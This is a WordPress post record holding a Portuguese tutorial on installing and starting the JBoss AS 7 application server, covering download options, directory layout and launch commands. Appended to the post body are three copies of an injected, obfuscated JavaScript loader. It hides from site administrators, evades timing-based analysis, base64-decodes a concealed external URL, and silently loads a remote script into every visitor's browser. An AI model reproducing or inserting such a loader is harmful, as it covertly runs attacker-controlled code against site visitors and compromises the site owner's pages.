{"id":1813,"date":"2011-09-13T02:15:02","date_gmt":"2011-09-13T05:15:02","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1813"},"modified":"2025-10-26T22:39:04","modified_gmt":"2025-10-27T01:39:04","slug":"iniciando-com-jboss-as-7","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/09\/13\/iniciando-com-jboss-as-7\/","title":{"rendered":"Iniciando com JBoss AS 7"},"content":{"rendered":"<p style=\"text-align: justify;\">O JBoss AS 7 \u00e9 um servidor de aplica\u00e7\u00f5es que implementa parte da especifica\u00e7\u00e3o Java Enterprise Edition 6. \u00c9 um servidor r\u00e1pido, leve e poderoso. A vers\u00e3o atual (7.0.1) j\u00e1 implementa completamente o Web Profile do JEE 6.<\/p>\n<p style=\"text-align: justify;\">Para iniciar com JBoss, o primeiro passo \u00e9 realizar o download. Acesse <a title=\"Download JBoss AS\" href=\"http:\/\/www.jboss.org\/jbossas\/downloads\/\">http:\/\/www.jboss.org\/jbossas\/downloads\/<\/a> e efetue o download do arquivo. Voc\u00ea ter\u00e1 tr\u00eas op\u00e7\u00f5es: Web Profile Only (Java EE6 Certified), Everything (NOT Java EE6 Certified) e Quick Starts. O Quick Starts vem com exemplos de c\u00f3digos a serem executados no JBoss. A primeira op\u00e7\u00e3o \u00e9 s\u00f3 o Web Profile, que \u00e9 mais que suficiente para v\u00e1rias aplica\u00e7\u00f5es. J\u00e1 vem com Servet 3.0 JSF 2.0, EJB 3.1 (lite), JPA 2.0. A op\u00e7\u00e3o Everything, vem com tudo do Web Profile e mais uma parte de JMS e Webservices. Abaixo temos uma tabela obtida do site do JBoss com os recursos de cada vers\u00e3o:<\/p>\n<figure id=\"attachment_1815\" aria-describedby=\"caption-attachment-1815\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/JBossAS7-JavaEE.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1815 \" title=\"JBossAS7-JavaEE\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/JBossAS7-JavaEE-300x190.png\" alt=\"JBossAS7-JavaEE\" width=\"300\" height=\"190\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/JBossAS7-JavaEE-300x190.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/JBossAS7-JavaEE.png 918w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1815\" class=\"wp-caption-text\">JBossAS7-JavaEE<\/figcaption><\/figure>\n<p>Para instalar, basta descompactar o arquivo. No meu caso, vou utilizar a vers\u00e3o completa. Dentro do diret\u00f3rio, temos a seguinte estrutura:<\/p>\n<figure id=\"attachment_1816\" aria-describedby=\"caption-attachment-1816\" style=\"width: 186px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/jbossfolders.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-1816\" title=\"Estrutura de Diret\u00f3rios JBoss\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/jbossfolders.png\" alt=\"Estrutura de Diret\u00f3rios JBoss\" width=\"186\" height=\"298\" \/><\/a><figcaption id=\"caption-attachment-1816\" class=\"wp-caption-text\">Estrutura de Diret\u00f3rios JBoss<\/figcaption><\/figure>\n<ul>\n<li style=\"text-align: justify;\"><strong>bin<\/strong>: Scripts de inicializa\u00e7\u00e3o e configura\u00e7\u00e3o<\/li>\n<li style=\"text-align: justify;\"><strong>bundles<\/strong>: Localiza\u00e7\u00e3o dos pacotes OSGi<\/li>\n<li style=\"text-align: justify;\"><strong>docs<\/strong>: Licen\u00e7as e defini\u00e7\u00f5es dos XML Schemas (XSD) utilizados<\/li>\n<li style=\"text-align: justify;\"><strong>domain<\/strong>: Arquivos de configura\u00e7\u00e3o, deployments, bibliotecas externas (lib\/ext) utilizadas por todo o JBoss (domain)<\/li>\n<li style=\"text-align: justify;\"><strong>modules<\/strong>: M\u00f3dulos utilizados pelo servidor<\/li>\n<li style=\"text-align: justify;\"><strong>standalone<\/strong>: Arquivos de configura\u00e7\u00e3o, deployments, bibliotecas utilizadas por um server<\/li>\n<li style=\"text-align: justify;\"><strong>welcome-content<\/strong>: Conte\u00fado padr\u00e3o para a p\u00e1gina de boas vindas (\/)<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">No diret\u00f3rio standalone ficar\u00e3o suas aplica\u00e7\u00f5es e configura\u00e7\u00f5es de um \u00fanico server. A estrutura de diret\u00f3rios dele \u00e9 auto-expicativa:\u00a0<strong>configuration<\/strong>, para as configura\u00e7\u00f5es, <strong>data<\/strong> para dados persistentes (sobrevivem ap\u00f3s o restart), <strong>deployments<\/strong> para suas aplica\u00e7\u00f5es, <strong>lib<\/strong> para bibliotecas, <strong>log<\/strong> para logs \ud83d\ude42 e <strong>tmp<\/strong> s\u00e3o os arquivos tempor\u00e1rios.<\/p>\n<p style=\"text-align: justify;\">Para subir um server j\u00e1 temos algumas configura\u00e7\u00f5es pr\u00e9-definidas dentro da pasta configurations em standalone. S\u00e3o 3 arquivos na minha vers\u00e3o:<\/p>\n<ul>\n<li style=\"text-align: justify;\">standalone.xml: Profile padr\u00e3o com a especifica\u00e7\u00e3o JEE 6 + JCA 1.6, RESTFul Web Services<\/li>\n<li style=\"text-align: justify;\">standalone-ha.xml:Profile com suporte \u00e0 clustering - alta disponibilidade<\/li>\n<li style=\"text-align: justify;\">standalone-xts.xml: Profile com suporte \u00e0 transa\u00e7\u00e3o em Web Services. Mais informa\u00e7\u00f5es <a title=\"WST\" href=\"http:\/\/www.jboss.org\/jbosstm\/resources\/product_overview\/wst.html\" target=\"_blank\" rel=\"noopener\">nesse link<\/a><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">O modo standalone no JBoss \u00e9 semelhante ao que se fazia nas vers\u00f5es  anteriores. No JBoss AS 7.0, h\u00e1 um conceito novo: domain, que \u00e9 um  conjunto de servers que podem ser administrados de um \u00fanico ponto.<\/p>\n<p style=\"text-align: justify;\">Para iniciar o domain com o profile padr\u00e3o, acesse a pasta $JBOSS_HOME\/bin e execute o comando: .\/domain.sh<\/p>\n<p style=\"text-align: justify;\">Para iniciar como server standalone, execute o comando: .\/standalone.sh<\/p>\n<p style=\"text-align: justify;\">No windows, basta mudar a extens\u00e3o sh para bat. Caso deseja iniciar com outro profile \u00e9 s\u00f3 passar o par\u00e2metro: \"--domain-config=nomeDoProfile.xml\" para o modo domain ou \"--server-config=nomeDoProfile.xml\" para o modo standalone. A sa\u00edda dever\u00e1 ser algo parecido com isso:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n=========================================================================\n\n JBoss Bootstrap Environment\n\n JBOSS_HOME: \/development\/servers\/jboss-as-web-7.0.1.Final\n\n JAVA: java\n\n JAVA_OPTS: -server -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.modules.system.pkgs=org.jboss.byteman\n\n=========================================================================\n\n19:25:58,953 INFO\u00a0 &#x5B;org.jboss.modules] (main) JBoss Modules version 1.0.1.GA\n19:25:59,449 INFO\u00a0 &#x5B;org.jboss.as.process.Host Controller.status] (main) Starting process 'Host Controller'\n&#x5B;Host Controller] 19:25:59,674 INFO\u00a0 &#x5B;org.jboss.modules] (main) JBoss Modules version 1.0.1.GA\n...\n<\/pre>\n<p style=\"text-align: justify;\">O novo JBoss AS 7 \u00e9 muito r\u00e1pido.. por isso o nome \"Zap\" para a vers\u00e3o 7.0.1. Na minha m\u00e1quina ele startou em menos de 3 segundos no modo domain.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nJBoss AS 7.0.1.Final &quot;Zap&quot; started in 2842ms\n<\/pre>\n<p>E menos de 2 segundos no modo standalone.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nJBoss AS 7.0.1.Final &quot;Zap&quot; started in 1956ms\n<\/pre>\n<p style=\"text-align: justify;\">Para verificar se deu tudo certo, acesse a p\u00e1gina de boas vindas: http:\/\/localhost:8080 no modo standalone. Voc\u00ea ter\u00e1 o seguinte:<\/p>\n<figure id=\"attachment_1820\" aria-describedby=\"caption-attachment-1820\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/JBoss-Welcome-Page.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1820\" title=\"JBoss - Welcome Page\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/JBoss-Welcome-Page-300x130.png\" alt=\"JBoss - Welcome Page\" width=\"300\" height=\"130\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/JBoss-Welcome-Page-300x130.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/JBoss-Welcome-Page.png 848w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1820\" class=\"wp-caption-text\">JBoss - Welcome Page<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Para acessar o console, onde voc\u00ea pode configurar os datasources e realizar deploy, utilize a seguinte URL: http:\/\/localhost:9990\/console<\/p>\n<p style=\"text-align: justify;\">Em breve mais posts com o JBoss AS 7<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O JBoss AS 7 \u00e9 um servidor de aplica\u00e7\u00f5es que implementa parte da especifica\u00e7\u00e3o Java Enterprise Edition 6. \u00c9 um servidor r\u00e1pido, leve e poderoso. A vers\u00e3o atual (7.0.1) j\u00e1 implementa completamente o Web Profile do JEE 6. Para iniciar <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/09\/13\/iniciando-com-jboss-as-7\/\">Continue lendo  <span class=\"screen-reader-text\">  Iniciando com JBoss AS 7<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10],"tags":[],"class_list":["post-1813","post","type-post","status-publish","format-standard","hentry","category-java","category-jee"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1813","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1813"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1813\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1813"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1813"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1813"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}